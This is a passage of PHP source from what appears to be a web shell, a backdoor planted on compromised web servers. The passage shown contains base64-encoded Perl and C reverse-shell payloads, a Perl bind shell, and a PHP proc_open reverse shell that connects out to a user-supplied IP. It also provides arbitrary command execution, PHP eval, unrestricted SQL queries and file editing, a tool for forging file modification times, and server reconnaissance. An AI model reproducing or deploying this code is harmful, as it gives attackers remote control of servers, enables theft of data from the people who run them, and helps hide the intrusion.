				p(' | Current Table: <a href="javascript:settable(\''.$tablename.'\');">'.$tablename.'</a> [ <a href="javascript:settable(\''.$tablename.'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$tablename.'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$tablename.'\', \'drop\');">Drop</a> ]');
			}
			p('</p>');
			mysql_select_db($dbname);

			$getnumsql = '';
			$runquery = 0;
			if ($sql_query) {
				$runquery = 1;
			}
			$allowedit = 0;
			if ($tablename && !$sql_query) {
				$sql_query = "SELECT * FROM $tablename";
				$getnumsql = $sql_query;
				$sql_query = $sql_query." LIMIT $start_limit, $pagenum";
				$allowedit = 1;
			}
			p('<form action="'.$self.'" method="POST">');
			p('<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Run SQL query/queries on database '.$dbname.':</td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">'.htmlspecialchars($sql_query,ENT_QUOTES).'</textarea></td><td style="padding:0 5px;"><input class="bt" style="height:50px;" name="submit" type="submit" value="Query" /></td></tr></table></p>');
			makehide('tablename', $tablename);
			makehide('action','sqladmin');
			p($dbform);
			p('</form>');
			if ($tablename || ($runquery && $sql_query)) {
				if ($doing == 'structure') {
					$result = q("SHOW COLUMNS FROM $tablename");
					$rowdb = array();
					while($row = mysql_fetch_array($result)) {
						$rowdb[] = $row;
					}
					p('<table border="0" cellpadding="3" cellspacing="0">');
					p('<tr class="head">');
					p('<td>Field</td>');
					p('<td>Type</td>');
					p('<td>Null</td>');
					p('<td>Key</td>');
					p('<td>Default</td>');
					p('<td>Extra</td>');
					p('</tr>');
					foreach ($rowdb as $row) {
						$thisbg = bg();
						p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
						p('<td>'.$row['Field'].'</td>');
						p('<td>'.$row['Type'].'</td>');
						p('<td>'.$row['Null'].'&nbsp;</td>');
						p('<td>'.$row['Key'].'&nbsp;</td>');
						p('<td>'.$row['Default'].'&nbsp;</td>');
						p('<td>'.$row['Extra'].'&nbsp;</td>');
						p('</tr>');
					}
					tbfoot();
				} elseif ($doing == 'insert' || $doing == 'edit') {
					$result = q('SHOW COLUMNS FROM '.$tablename);
					while ($row = mysql_fetch_array($result)) {
						$rowdb[] = $row;
					}
					$rs = array();
					if ($doing == 'insert') {
						p('<h2>Insert new line in '.$tablename.' table &raquo;</h2>');
					} else {
						p('<h2>Update record in '.$tablename.' table &raquo;</h2>');
						$where = base64_decode($base64);
						$result = q("SELECT * FROM $tablename WHERE $where LIMIT 1");
						$rs = mysql_fetch_array($result);
					}
					p('<form method="post" action="'.$self.'">');
					p($dbform);
					makehide('action','sqladmin');
					makehide('tablename',$tablename);
					p('<table border="0" cellpadding="3" cellspacing="0">');
					foreach ($rowdb as $row) {
						if ($rs[$row['Field']]) {
							$value = htmlspecialchars($rs[$row['Field']]);
						} else {
							$value = '';
						}
						$thisbg = bg();
						p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
						p('<td><b>'.$row['Field'].'</b><br />'.$row['Type'].'</td><td><textarea class="area" name="insertsql['.$row['Field'].']" style="width:500px;height:60px;overflow:auto;">'.$value.'</textarea></td></tr>');
					}
					if ($doing == 'insert') {
						p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="insert" value="Insert" /></td></tr>');
					} else {
						p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="update" value="Update" /></td></tr>');
						makehide('base64', $base64);
					}
					p('</table></form>');
				} else {
					$querys = @explode(';',$sql_query);
					foreach($querys as $num=>$query) {
						if ($query) {
							p("<p><b>Query#{$num} : ".htmlspecialchars($query,ENT_QUOTES)."</b></p>");
							switch(qy($query))
							{
								case 0:
									p('<h2>Error : '.mysql_error().'</h2>');
									break;	
								case 1:
									if (strtolower(substr($query,0,13)) == 'select * from') {
										$allowedit = 1;
									}
									if ($getnumsql) {
										$tatol = mysql_num_rows(q($getnumsql));
										$multipage = multi($tatol, $pagenum, $page, $tablename);
									}
									if (!$tablename) {
									     
										$sql_line = str_replace(array("\r", "\n", "\t"), array(' ', ' ', ' '), trim(htmlspecialchars($query)));
										$sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line);
										preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i",$sql_line,$matches);
										$tablename = $matches[1][0];
									}
									$result = q($query);
									p($multipage);
									p('<table border="0" cellpadding="3" cellspacing="0">');
									p('<tr class="head">');
									if ($allowedit) p('<td>Action</td>');
									$fieldnum = @mysql_num_fields($result);
									for($i=0;$i<$fieldnum;$i++){
										$name = @mysql_field_name($result, $i);
										$type = @mysql_field_type($result, $i);
										$len = @mysql_field_len($result, $i);
										p("<td nowrap>$name<br><span>$type($len)</span></td>");
									}
									p('</tr>');
									while($mn = @mysql_fetch_assoc($result)){
										$thisbg = bg();
										p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
										$where = $tmp = $b1 = '';
										foreach($mn as $key=>$inside){
											if ($inside) {
												$where .= $tmp.$key."='".addslashes($inside)."'";
												$tmp = ' AND ';
											}
											$b1 .= '<td nowrap>'.html_clean($inside).'&nbsp;</td>';
										}
										$where = base64_encode($where);
										if ($allowedit) p('<td nowrap><a href="javascript:editrecord(\'edit\', \''.$where.'\', \''.$tablename.'\');">Edit</a> | <a href="javascript:editrecord(\'del\', \''.$where.'\', \''.$tablename.'\');">Del</a></td>');
										p($b1);
										p('</tr>');
										unset($b1);
									}
									tbfoot();
									p($multipage);
									break;	
								case 2:
									$ar = mysql_affected_rows();
									p('<h2>affected rows : <b>'.$ar.'</b></h2>');
									break;
							}
						}
					}
				}
			} else {
				$query = q("SHOW TABLE STATUS");
				$table_num = $table_rows = $data_size = 0;
				$tabledb = array();
				while($table = mysql_fetch_array($query)) {
					$data_size = $data_size + $table['Data_length'];
					$table_rows = $table_rows + $table['Rows'];
					$table['Data_length'] = sizecount($table['Data_length']);
					$table_num++;
					$tabledb[] = $table;
				}
				$data_size = sizecount($data_size);
				unset($table);
				p('<table border="0" cellpadding="0" cellspacing="0">');
				p('<form action="'.$self.'" method="POST">');
				makehide('action','sqladmin');
				p($dbform);
				p('<tr class="head">');
				p('<td width="2%" align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td>');
				p('<td>Name</td>');
				p('<td>Rows</td>');
				p('<td>Data_length</td>');
				p('<td>Create_time</td>');
				p('<td>Update_time</td>');
				if ($highver) {
					p('<td>Engine</td>');
					p('<td>Collation</td>');
				}
				p('</tr>');
				foreach ($tabledb as $key => $table) {
					$thisbg = bg();
					p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
					p('<td align="center" width="2%"><input type="checkbox" name="table[]" value="'.$table['Name'].'" /></td>');
					p('<td><a href="javascript:settable(\''.$table['Name'].'\');">'.$table['Name'].'</a> [ <a href="javascript:settable(\''.$table['Name'].'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'drop\');">Drop</a> ]</td>');
					p('<td>'.$table['Rows'].'</td>');
					p('<td>'.$table['Data_length'].'</td>');
					p('<td>'.$table['Create_time'].'</td>');
					p('<td>'.$table['Update_time'].'</td>');
					if ($highver) {
						p('<td>'.$table['Engine'].'</td>');
						p('<td>'.$table['Collation'].'</td>');
					}
					p('</tr>');
				}
				p('<tr class='.bg().'>');
				p('<td>&nbsp;</td>');
				p('<td>Total tables: '.$table_num.'</td>');
				p('<td>'.$table_rows.'</td>');
				p('<td>'.$data_size.'</td>');
				p('<td colspan="'.($highver ? 4 : 2).'">&nbsp;</td>');
				p('</tr>');

				p("<tr class=\"".bg()."\"><td colspan=\"".($highver ? 8 : 6)."\"><input name=\"saveasfile\" value=\"1\" type=\"checkbox\" /> Save as file <input class=\"input\" name=\"path\" value=\"".SA_ROOT.$_SERVER['HTTP_HOST']."_MySQL.sql\" type=\"text\" size=\"60\" /> <input class=\"bt\" type=\"submit\" name=\"downrar\" value=\"Export selection table\" /></td></tr>");
				makehide('doing','backupmysql');
				formfoot();
				p("</table>");
				fr($query);
			}
		}
	}
	tbfoot();
	@mysql_close();
}//end sql backup


elseif ($action == 'net') {
	!$yourip && $yourip = $_SERVER['REMOTE_ADDR'];
	!$yourport && $yourport = '1370';
	$usedb = array('perl'=>'perl','php'=>'php (proc_open)','c'=>'c');

	$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
		"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
		"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
		"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
		"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
		"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
		"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
	$back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC".
		"BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb".
		"SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd".
		"KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ".
		"sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC".
		"Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D".
		"QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp".
		"Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
	$bind_pl="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vYmFzaCAtaSI7DQppZiAoQEFSR1YgPCAxKSB7IGV4aXQoMSk7IH0NCiRMS".
		"VNURU5fUE9SVD0kQVJHVlswXTsNCnVzZSBTb2NrZXQ7DQokcHJvdG9jb2w9Z2V0cHJvdG9ieW5hbWUoJ3RjcCcpOw0Kc29ja2V0KFMsJlBGX0lORVQs".
		"JlNPQ0tfU1RSRUFNLCRwcm90b2NvbCkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVV".
		"TRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJExJU1RFTl9QT1JULElOQUREUl9BTlkpKSB8fCBkaWUgIkNhbnQgb3BlbiBwb3J0XG4iOw0KbG".
		"lzdGVuKFMsMykgfHwgZGllICJDYW50IGxpc3RlbiBwb3J0XG4iOw0Kd2hpbGUoMSkNCnsNCmFjY2VwdChDT05OLFMpOw0KaWYoISgkcGlkPWZvcmspK".
		"Q0Kew0KZGllICJDYW5ub3QgZm9yayIgaWYgKCFkZWZpbmVkICRwaWQpOw0Kb3BlbiBTVERJTiwiPCZDT05OIjsNCm9wZW4gU1RET1VULCI+JkNPTk4i".
		"Ow0Kb3BlbiBTVERFUlIsIj4mQ09OTiI7DQpleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCmNsb3N".
		"lIENPTk47DQpleGl0IDA7DQp9DQp9";

	if ($start_cb && $yourip && $yourport && $use){
		if ($use == 'perl') {
			cf('/tmp/magiccoder_bc',$back_connect);
			switch ($_POST['execfunction_cb']) {
				case 'system':
					$res = @system(which('perl')." /tmp/magiccoder_bc $yourip $yourport &");
					break;
				case 'passthru':
					$res = @passthru(which('perl')." /tmp/magiccoder_bc $yourip $yourport &");
					break;
				case 'exec':
					$res = @exec(which('perl')." /tmp/magiccoder_bc $yourip $yourport &");
					break;
				case 'execute':
					$res = @execute(which('perl')." /tmp/magiccoder_bc $yourip $yourport &");
					break;
				case 'shell_exec':
					$res = @shell_exec(which('perl')." /tmp/magiccoder_bc $yourip $yourport &");
					break;
				case 'popen':
					$res = @fread(popen(which('perl')." /tmp/magiccoder_bc $yourip $yourport &",r), 9999);
					break;
				}

		} elseif ($use == 'php') {
			set_time_limit (0); 
			$VERSION = "1.0"; 
			$ip = $yourip; 
			$port = $yourport; 
			$chunk_size = 1400; 
			$write_a = null; 
			$error_a = null; 
			$shell = "uname -a; w; id; /bin/sh -i"; 
			$daemon = 0; 
			$debug = 0; 
			chdir("/"); 
			umask(0); 
			$sock = @fsockopen($ip, $port, $errno, $errstr, 30); 
			if (!$sock) { 
			    echo("$errstr ($errno)"); 
			    exit(1); 
			    } 
			$descriptorspec = array( 0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w") ); 
			    $process = proc_open($shell, $descriptorspec, $pipes); 
			if (!is_resource($process)) { 
			    exit(1); 
			    } 
			stream_set_blocking($pipes[0], 0); stream_set_blocking($pipes[1], 0); 
			stream_set_blocking($pipes[2], 0); 
			stream_set_blocking($sock, 0); 
			while (1) { 
			    if (feof($sock)) { 
			    break; 
			    } 
			    if (feof($pipes[1])) { 
			    break; 
			    } 
			    $read_a = array($sock, $pipes[1], $pipes[2]); 
			    $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null); 
			    if (in_array($sock, $read_a)) { 
				if ($debug) echo("SOCK READ"); 
				$input = fread($sock, $chunk_size); 
				if ($debug) echo("SOCK: $input"); 
				fwrite($pipes[0], $input); 
			    } 
			    if (in_array($pipes[1], $read_a)) { 
				if ($debug) echo("STDOUT READ"); 
				$input = fread($pipes[1], $chunk_size); 
				if ($debug) echo("STDOUT: $input"); 
				fwrite($sock, $input); 
				} 
			    if (in_array($pipes[2], $read_a)) { 
				if ($debug) echo("STDERR READ"); 
				$input = fread($pipes[2], $chunk_size); 
				if ($debug) echo("STDERR: $input"); 
				fwrite($sock, $input); 
				} 
			    } 
			fclose($sock); 
			fclose($pipes[0]); 
			fclose($pipes[1]); 
			fclose($pipes[2]); 
			proc_close($process); 

		} else {
			echo '<center>Use from <b>'.$_POST['execfunction_cb'].'</b> function<hr width="222px" noshade /></center>';
			cf('/tmp/magiccoder_bc.c',$back_connect_c);
			switch ($_POST['execfunction_cb']) {
				case 'system':
					$res = @system('gcc -o /tmp/magiccoder_bc /tmp/magiccoder_bc.c');
					@unlink('/tmp/magiccoder_bc.c');
					$res = @system("/tmp/magiccoder_bc $yourip $yourport &");
					break;
				case 'passthru':
					$res = @passthru('gcc -o /tmp/magiccoder_bc /tmp/magiccoder_bc.c');
					@unlink('/tmp/magiccoder_bc.c');
					$res = @passthru("/tmp/magiccoder_bc $yourip $yourport &");
					break;
				case 'exec':
					$res = @exec('gcc -o /tmp/magiccoder_bc /tmp/magiccoder_bc.c');
					@unlink('/tmp/magiccoder_bc.c');
					$res = @exec("/tmp/magiccoder_bc $yourip $yourport &");
					break;
				case 'execute':
					$res = execute('gcc -o /tmp/magiccoder_bc /tmp/magiccoder_bc.c');
					@unlink('/tmp/magiccoder_bc.c');
					$res = execute("/tmp/magiccoder_bc $yourip $yourport &");
					break;
				case 'shell_exec':
					$res = @shell_exec('gcc -o /tmp/magiccoder_bc /tmp/magiccoder_bc.c');
					@unlink('/tmp/magiccoder_bc.c');
					$res = @shell_exec("/tmp/magiccoder_bc $yourip $yourport &");
					break;
				case 'popen':
					$res = @fread(popen('gcc -o /tmp/magiccoder_bc /tmp/magiccoder_bc.c',r), 9999);
					@unlink('/tmp/magiccoder_bc.c');
					$res = @fread(popen("/tmp/magiccoder_bc $yourip $yourport &",r), 9999);
					break;
				}
		}
		m("Now script try connect to $yourip port $yourport ...");
		echo '<br><center>Use from <b>'.$_POST['execfunction_cb'].'</b> function<hr width="222px" noshade /></center>';
	}

	formhead(array('title'=>'Back Connect'));
	makehide('action','net');
	p('<p>');
	p('Your IP:');
	makeinput(array('name'=>'yourip','size'=>20,'value'=>$yourip));
	p('Your Port:');
	makeinput(array('name'=>'yourport','size'=>15,'value'=>$yourport));
	p('Use:');
	makeselect(array('name'=>'use','option'=>$usedb,'selected'=>$use));
	echo "Function: <select class=\"input\" name=\"execfunction_cb\" >\n<option value=\"system\">system</option>\n<option value=\"passthru\">passthru</option>\n<option value=\"exec\">exec</option>\n<option value=\"execute\">execute</option>\n<option value=\"shell_exec\">shell_exec</option>\n<option value=\"popen\">popen</option>\n</select>\n";

	makeinput(array('name'=>'start_cb','value'=>'Start','type'=>'submit','class'=>'bt'));
	p('</p>');
	formfoot();
////////////////
	!$yourport_bind && $yourport_bind = '13700527';
	$usedb = array('perl'=>'perl');
	if ($start_bind && $yourport && $use){
		if ($use == 'perl') {
			cf('/tmp/magiccoder_bind_pl',$bind_pl);
			switch ($_POST['execfunction_bind']) {
				case 'system':
					$res = @system(which('perl')." /tmp/magiccoder_bind_pl $yourport_bind &");
					break;
				case 'passthru':
					$res = @passthru(which('perl')." /tmp/magiccoder_bind_pl $yourport_bind &");
					break;
				case 'exec':
					$res = @exec(which('perl')." /tmp/magiccoder_bind_pl $yourport_bind &");
					break;
				case 'execute':
					$res = @execute(which('perl')." /tmp/magiccoder_bind_pl $yourport_bind &");
					break;
				case 'shell_exec':
					$res = @shell_exec(which('perl')." /tmp/magiccoder_bind_pl $yourport_bind &");
					break;
				case 'popen':
					$res = @fread(popen(which('perl')." /tmp/magiccoder_bind_pl $yourport_bind &",r), 9999);
					break;
				}

		}
		m("bind on port $yourport_bind Started...");
		echo '<br><center>Use from <b>'.$_POST['execfunction_bind'].'</b> function<hr width="222px" noshade /></center>';

	}

	formhead(array('title'=>'Bind Port'));
	makehide('action','net');
	p('<p>');
	p('Your Port:');
	makeinput(array('name'=>'yourport_bind','size'=>15,'value'=>$yourport_bind));
	p('Use:');
	makeselect(array('name'=>'use','option'=>$usedb,'selected'=>$use));
	echo "Function: <select class=\"input\" name=\"execfunction_bind\" >\n<option value=\"system\">system</option>\n<option value=\"passthru\">passthru</option>\n<option value=\"exec\">exec</option>\n<option value=\"execute\">execute</option>\n<option value=\"shell_exec\">shell_exec</option>\n<option value=\"popen\">popen</option>\n</select>\n";
    
	makeinput(array('name'=>'start_bind','value'=>'Start','type'=>'submit','class'=>'bt'));
	p('</p>');
	formfoot();

}//end sql backup

elseif ($action == 'coeval') {
	$phpcode = trim($phpcode);
	if($phpcode){
		if (!preg_match('#<\?#si', $phpcode)) {
			$phpcode = "<?php\n\n{$phpcode}\n\n?>";
		}
		eval("?".">$phpcode<?");
	}
	formhead(array('title'=>'Eval PHP Code'));
	makehide('action','eval');
	maketext(array('title'=>'PHP Code','name'=>'phpcode', 'value'=>$phpcode));
	formfooter();
}//end eval

elseif ($action == 'editfile') {
	if(file_exists($opfile)) {
		$fp=@fopen($opfile,'r');
		$contents=@fread($fp, filesize($opfile));
		@fclose($fp);
		$contents=htmlspecialchars($contents);
	}
	formhead(array('title'=>'Create / Edit File'));
	makehide('action','file');
	makehide('dir',$nowpath);
	makeinput(array('title'=>'Current File (import new file name and new file)','name'=>'editfilename','value'=>$opfile,'newline'=>1));
	maketext(array('title'=>'File Content','name'=>'filecontent','value'=>$contents));
	formfooter();
}//end editfile

elseif ($action == 'newtime') {
	$opfilemtime = @filemtime($opfile);
	//$time = strtotime("$year-$month-$day $hour:$minute:$second");
	$cachemonth = array('January'=>1,'February'=>2,'March'=>3,'April'=>4,'May'=>5,'June'=>6,'July'=>7,'August'=>8,'September'=>9,'October'=>10,'November'=>11,'December'=>12);
	formhead(array('title'=>'Clone file was last modified time'));
	makehide('action','file');
	makehide('dir',$nowpath);
	makeinput(array('title'=>'Alter file','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
	makeinput(array('title'=>'Reference file (fullpath)','name'=>'tarfile','size'=>120,'newline'=>1));
	formfooter();
	formhead(array('title'=>'Set last modified'));
	makehide('action','file');
	makehide('dir',$nowpath);
	makeinput(array('title'=>'Current file (fullpath)','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
	p('<p>Instead &raquo;');
	p('year:');
	makeinput(array('name'=>'year','value'=>date('Y',$opfilemtime),'size'=>4));
	p('month:');
	makeinput(array('name'=>'month','value'=>date('m',$opfilemtime),'size'=>2));
	p('day:');
	makeinput(array('name'=>'day','value'=>date('d',$opfilemtime),'size'=>2));
	p('hour:');
	makeinput(array('name'=>'hour','value'=>date('H',$opfilemtime),'size'=>2));
	p('minute:');
	makeinput(array('name'=>'minute','value'=>date('i',$opfilemtime),'size'=>2));
	p('second:');
	makeinput(array('name'=>'second','value'=>date('s',$opfilemtime),'size'=>2));
	p('</p>');
	formfooter();
}//end newtime

elseif ($action == 'shell') {
	if (IS_WIN && IS_COM) {
		if($program && $parameter) {
			$shell= new COM('Shell.Application');
			$a = $shell->ShellExecute($program,$parameter);
			m('Program run has '.(!$a ? 'success' : 'fail'));
		}
		!$program && $program = 'c:\windows\system32\cmd.exe';
		!$parameter && $parameter = '/c net start > '.SA_ROOT.'log.txt';
		formhead(array('title'=>'Execute Program'));
		makehide('action','shell');
		makeinput(array('title'=>'Program','name'=>'program','value'=>$program,'newline'=>1));
		p('<p>');
		makeinput(array('title'=>'Parameter','name'=>'parameter','value'=>$parameter));
		makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
		p('</p>');
		formfoot();
	}
	formhead(array('title'=>'Execute Command'));
	makehide('action','shell');
	if (IS_WIN && IS_COM) {
		$execfuncdb = array('phpfunc'=>'phpfunc','wscript'=>'wscript','proc_open'=>'proc_open');
		makeselect(array('title'=>'Use:','name'=>'execfunc','option'=>$execfuncdb,'selected'=>$execfunc,'newline'=>1));
	}
	p('<p>');
	makeinput(array('title'=>'Command','name'=>'command','value'=>$command));
	if (!IS_WIN && !IS_COM){	
		echo "<select class=\"input\" name=\"execfunction\" >\n<option value=\"system\">system</option>\n<option value=\"passthru\">passthru</option>\n<option value=\"exec\">exec</option>\n<option value=\"execute\">execute</option>\n<option value=\"shell_exec\">shell_exec</option>\n<option value=\"popen\">popen</option>\n</select>\n";
}
	makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
	p('</p>');
	formfoot();

	if ($command) {
		p('<hr width="100%" noshade /><pre>');
		if ($execfunc=='wscript' && IS_WIN && IS_COM) {
			$wsh = new COM('WScript.shell');
			$exec = $wsh->exec('cmd.exe /c '.$command);
			$stdout = $exec->StdOut();
			$stroutput = $stdout->ReadAll();
			echo $stroutput;
		} elseif ($execfunc=='proc_open' && IS_WIN && IS_COM) {
			$descriptorspec = array(
			   0 => array('pipe', 'r'),
			   1 => array('pipe', 'w'),
			   2 => array('pipe', 'w')
			);
			$process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);
			if (is_resource($process)) {
				fwrite($pipes[0], $command."\r\n");
				fwrite($pipes[0], "exit\r\n");
				fclose($pipes[0]);
				while (!feof($pipes[1])) {
					echo fgets($pipes[1], 1024);
				}
				fclose($pipes[1]);
				while (!feof($pipes[2])) {
					echo fgets($pipes[2], 1024);
				}
				fclose($pipes[2]);
				proc_close($process);
			}
		} else {
			echo '<center>Use from <b>'.$_POST['execfunction'].'</b> function<hr width="222px" noshade /></center>';
			switch ($_POST['execfunction']) {
				case 'system':
					@system($command);
					break;
				case 'passthru':
					@passthru($command);
					break;
				case 'exec':
					echo @exec($command);
					break;
				case 'execute':
					echo @execute($command);
					break;
				case 'shell_exec':
					echo @shell_exec($command);
					break;
				case 'popen':
					echo @fread(popen($command,r), 9999);
					break;
				}
		}
		p('</pre>');
	}
}//end shell

elseif ($action == 'phpenv') {
	$upsize=getcfg('file_uploads') ? getcfg('upload_max_filesize') : 'Not allowed';
	$adminmail=isset($_SERVER['SERVER_ADMIN']) ? $_SERVER['SERVER_ADMIN'] : getcfg('sendmail_from');
	!$dis_func && $dis_func = 'No';	
	$info = array(
		1 => array('Server Time',date('Y/m/d h:i:s',$timestamp)),
		2 => array('Server Domain',$_SERVER['SERVER_NAME']),
		3 => array('Server IP',gethostbyname($_SERVER['SERVER_NAME'])),
		4 => array('Server OS',PHP_OS),
		5 => array('Server OS Charset',$_SERVER['HTTP_ACCEPT_LANGUAGE']),
		6 => array('Server Software',$_SERVER['SERVER_SOFTWARE']),
		7 => array('Server Web Port',$_SERVER['SERVER_PORT']),
		8 => array('PHP run mode',strtoupper(php_sapi_name())),
		9 => array('The file path',__FILE__),

		10 => array('PHP Version',PHP_VERSION),
		11 => array('PHPINFO',(IS_PHPINFO ? '<a href="javascript:goaction(\'phpinfo\');">Yes</a>' : 'No')),
		12 => array('Safe Mode',getcfg('safe_mode')),
		13 => array('Administrator',$adminmail),
		14 => array('allow_url_fopen',getcfg('allow_url_fopen')),
		15 => array('enable_dl',getcfg('enable_dl')),
		16 => array('display_errors',getcfg('display_errors')),
		17 => array('register_globals',getcfg('register_globals')),
		18 => array('magic_quotes_gpc',getcfg('magic_quotes_gpc')),
		19 => array('memory_limit',getcfg('memory_limit')),
		20 => array('post_max_size',getcfg('post_max_size')),
		21 => array('upload_max_filesize',$upsize),
		22 => array('max_execution_time',getcfg('max_execution_time').' second(s)'),
		23 => array('disable_functions',$dis_func),
	);

	if($phpvarname) {
		m($phpvarname .' : '.getcfg($phpvarname));
	}

	formhead(array('title'=>'Server environment'));
	makehide('action','phpenv');
	makeinput(array('title'=>'Please input PHP configuration parameter(eg:magic_quotes_gpc)','name'=>'phpvarname','value'=>$phpvarname,'newline'=>1));
	formfooter();

	$hp = array(0=> 'Server', 1=> 'PHP');
	for($a=0;$a<2;$a++) {
		p('<h2>'.$hp[$a].' &raquo;</h2>');
		p('<ul class="info">');
		if ($a==0) {
			for($i=1;$i<=9;$i++) {
				p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
			}
		} elseif ($a == 1) {
			for($i=10;$i<=23;$i++) {
				p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
			}
		}
		p('</ul>');
	}
}//end phpenv

else {
	m('Undefined Action');
	echo '<br><br>';
// PHPINFO
if ($action == 'phpinfo') {
	if (IS_PHPINFO) {
		phpinfo();
	} else {
		$errmsg = 'phpinfo() function has non-permissible';
	}
}

}

?>
</td></tr></table>
<div style="padding:10px;border-bottom:1px solid #fff;border-top:1px solid #ddd;background:#eee;">
	<span style="float:right;"><?php debuginfo();ob_end_flush();?></span>
	shersery24
</div>
</body>
</html>

<?php

/*======================================================

======================================================*/

function m($msg) {
	echo '<div style="background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:center;font-weight:bold;">';
	echo $msg;
	echo '</div>';
}
function scookie($key, $value, $life = 0, $prefix = 1) {
	global $admin, $timestamp, $_SERVER;
	$key = ($prefix ? $admin['cookiepre'] : '').$key;
	$life = $life ? $life : $admin['cookielife'];
	$useport = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0;
	setcookie($key, $value, $timestamp+$life, $admin['cookiepath'], $admin['cookiedomain'], $useport);
}	
function multi($num, $perpage, $curpage, $tablename) {
	$multipage = '';
	if($num > $perpage) {
		$page = 10;
		$offset = 5;
		$pages = @ceil($num / $perpage);
		if($page > $pages) {
			$from = 1;
			$to = $pages;
		} else {
			$from = $curpage - $offset;
			$to = $curpage + $page - $offset - 1;
			if($from < 1) {
				$to = $curpage + 1 - $from;
				$from = 1;
				if(($to - $from) < $page && ($to - $from) < $pages) {
					$to = $page;
				}
			} elseif($to > $pages) {
				$from = $curpage - $pages + $to;
				$to = $pages;
				if(($to - $from) < $page && ($to - $from) < $pages) {
					$from = $pages - $page + 1;
				}
			}
		}
